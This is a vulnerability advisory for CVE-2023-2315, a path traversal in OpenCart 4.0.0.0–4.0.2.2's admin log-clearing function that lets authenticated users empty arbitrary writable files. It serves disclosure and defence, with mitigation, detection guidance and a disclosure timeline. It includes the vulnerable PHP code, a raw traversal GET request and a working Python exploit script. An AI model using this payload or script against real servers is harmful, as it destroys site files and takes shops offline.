Summary:

Product OpenCart
Vendor OpenCart
Severity High - Adversaries may exploit software vulnerabilities to empty any file on the server with write permissions.
Affected Versions 4.0.0.0 - 4.0.2.2
Tested Version(s) 4.0.2.2
CVE Identifier CVE-2023-2315
CVE Description Path traversal in Opencart versions 4.0.0.0 to 4.0.2.2 allows authenticated backend users to empty any existing file on the server with write permissions.
CWE Classification(s) CWE-27 - Path Traversal: ‘dir/../../filename’
CAPEC Classification(s) CAPEC-126 - Path Traversal

CVSS3.1 Scoring System:

Base Score: 8.1 (High)
Vector String: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H

Metric Value
Attack Vector (AV) Network
Attack Complexity (AC) Low
Privileges Required (PR) Low
User Interaction (UI) None
Scope (S) Unchanged
Confidentiality (C) None
Integrity (I) High
Availability (A) High

Product Overview:

Opencart is an open source ecommerce platform for online merchants to self-host and list their products for sale. It is structured in a way that allows for a quick setup and Opencart also provides a cloud solution for users who do not want to have an on-premise setup. Opencart is split into two fronts: a storefront containing a catalogue that regular users will access, as well as a backend administrative dashboard for management purposes. Account roles for the backend dashboard are highly customizable, allowing the owner of the website to initialise custom roles with different privileges and access, by using the fine-grained controls.

Vulnerability Summary:

There is a path traversal vulnerability at the Logs section of the backend dashboard, which allows an authenticated adversary to empty any existing file on the web server, given that there is write permissions on the file. By default, every OpenCart file is able to be emptied. This means that the availability of the website will be heavily impacted by emptying the core files, preventing regular functionality of the website. This vulnerability was introduced from versions 4.0.0.0 onward and patched in version 4.0.2.3.

Vulnerability Details:

A backend user with “access” and “modify” permissions on the “tool/log” setting is able to clear the logs of the website. When clearing the logs in a regular use case, a HTTP GET request is sent to delete the file “error.log”, by specifying it in the filename query parameter. The relevant code that is vulnerable can be found below:

// /admin/controller/tool/log.php

public function clear(): void {

    if (isset($this->request->get['filename'])) {
        $filename = (string)$this->request->get['filename']; // [1]
    } else {
        $filename = '';
    }

    $json = [];

    if (!$this->user->hasPermission('modify', 'tool/log')) {
        $json['error'] = $this->language->get('error_permission');
    }

    // DIR_LOGS = /system/storage/logs/
    $file = DIR_LOGS . $filename; // [2]

    if (!is_file($file)) {
        $json['error'] = sprintf($this->language->get('error_file'), $filename);
    }

    if (!$json) {
        $handle = fopen($file, 'w+'); // [3]
        fclose($handle);
        $json['success'] = $this->language->get('text_success');
    }
    // ...
}

At [1], the filename is obtained from the incoming HTTP GET request and stored into the $filename PHP variable without any form of input sanitisation. At [2], the file name is appended to the back of the storage log path /system/storage/logs/ and stored into another variable $file. At [3], the $file variable is used in a fopen() function call with the mode set to w+. This means that the existing file will have its content emptied. Since a file existence check occurs before this, it is not possible to create files that do not already exist.

In a normal scenario, the file /system/storage/logs/error.log will be emptied after the GET request is sent. However, since there is a lack of input sanitisation, it is possible for the filename query parameter to contain any number of path traversal sequence (../) to traverse out of the intended directory and point to other files instead. This results in other files being emptied and permanently affecting the website’s functionality.

Exploit Conditions:

This vulnerability can be exploited when the attacker has a set of valid credentials to the backend dashboard with access and modify permissions on tool/log.

Proof-of-Concept:

We have tried our best to make the PoC as portable as possible. This report includes a functional exploit written in Python3 that exploits the Path Traversal vulnerability.

The vulnerability can be exploited by sending a GET request to https://TARGET_HOST/admin/index.php?route=tool/log.clear&user_token=<USER_TOKEN>&filename=../../../../../../tmp/PoC.txt, for example:

GET /admin/index.php?route=tool/log.clear&filename=../../../../../../tmp/PoC.txt&user_token=4d6d604d8862798e96fe91846f28a36f HTTP/1.1
Host: TARGET_HOST
Cookie: OCSESSID=4f09deedf4a82f9c5b4bee9ec3;

Before running the exploit below, please ensure that you create a non-empty file /tmp/PoC.txt and that it has write permissions for the web user:

$ echo "Hello" > /tmp/PoC.txt
$ chmod 777 /tmp/PoC.txt 
$ ls -la /tmp/PoC.txt
-rwxrwxrwx 1 root root 6 Apr 26 09:36 /tmp/PoC.txt

Then, run the exploit below:

# Opencart v4.0.0.0 - v4.0.2.2 path traversal arbitrary file emptying (CVE-2023-2315)
# Author: Poh Jia Hao (STAR Labs SG Pte. Ltd.)

#!/usr/bin/env python3
import re
import requests
import sys
requests.packages.urllib3.disable_warnings()

s = requests.Session()

def check_args():
    global target, username, password

    print("\n======= Opencart v4.0.0.0 - v4.0.2.2 path traversal arbitrary file emptying (CVE-2023-2315) =======")
    print("Please ensure that a file /tmp/PoC.txt with write permissions has been created on the target server with non-empty content!\n")

    if len(sys.argv) != 4:
        print("[!] Please enter the required arguments like so: python3 {} http://TARGET_URL/ADMIN_PATH/ USERNAME PASSWORD".format(sys.argv[0]))
        sys.exit(1)

    target = sys.argv[1].strip("/")
    username = sys.argv[2]
    password = sys.argv[3]

def authenticate():
    global user_token

    print("[+] Attempting to authenticate...")

    # Get login_token
    path = f"{target}/index.php"
    res = s.get(path)
    login_token = re.findall("login_token=(.+)\" method", res.text)[0]
    
    # Perform login and get user_token
    data = {
        "username": username,
        "password": password
    }
    path = f"{target}/index.php?route=common/login.login&login_token={login_token}"
    res = s.post(path, data=data)
    user_token = re.findall("user_token=(.+)\"", res.text)[0]

    if not user_token:
        print("[!] Failed to authenticate! Are the credentials correct?")
        sys.exit(1)

    print("[+] Authenticated successfully.")

def delete():

    print("[+] Attempting to empty /tmp/PoC.txt...")

    # Empty /tmp/PoC.txt
    path = f"{target}/index.php?route=tool/log.clear&filename=../../../../../../tmp/PoC.txt&user_token={user_token}"
    res = s.get(path)
    print(f"[+] Output: {res.text}")

def main():
    check_args()
    authenticate()
    delete()

if __name__ == "__main__":
    main()

Suggested Mitigations:

The patch 0a8dd91 addresses this vulnerability. It is recommended to apply this commit to your installation of OpenCart.

Detection Guidance:

It is possible to detect the exploitation of this vulnerability by checking the server’s access logs for all GET requests made to /admin/index.php?route=tool/log.clear, and filtering for requests that contain ../ in the filename query parameter.

Credits:

Poh Jia Hao (@Chocologicall) of STAR Labs SG Pte. Ltd. (@starlabs_sg)

Timeline:

  • 2022-09-06 Followed the security bug reporting instructions and created an OpenCart forum account to try to report to the administrators, but new accounts are unable to send private messages.
  • 2022-09-11 Email sent to [email protected] in an attempt to establish a proper communication channel with the project owner/maintainers.
  • 2022-09-12 Support agent replied and suggested to describe the issue in a public channel via their GitHub Issues tracker, to which we reminded that it is a security bug on the latest version. Support agent then requested to send them the report where they will forward it to the developers. We instead requested for the public key of the developers so that the report can be encrypted to prevent information leakage. Support agent replied “they do not have such”.
  • 2022-09-14 Tried the “Contact Us” form on OpenCart’s website. Ended up with a second support ticket being opened.
  • 2022-09-15 Opened a GitHub Issue (#12684) in a last resort to establish a proper communication channel with the developers. Issue closed immediately by the project owner, and marked as spam.
  • 2022-09-15 Email sent directly to [email protected] as it is used for GitHub commits.
  • 2022-09-15 Project owner replied and we sent the bug report over.
  • 2022-09-15 Bug fixed in commit 0a8dd91
  • 2023-09-18 Public Release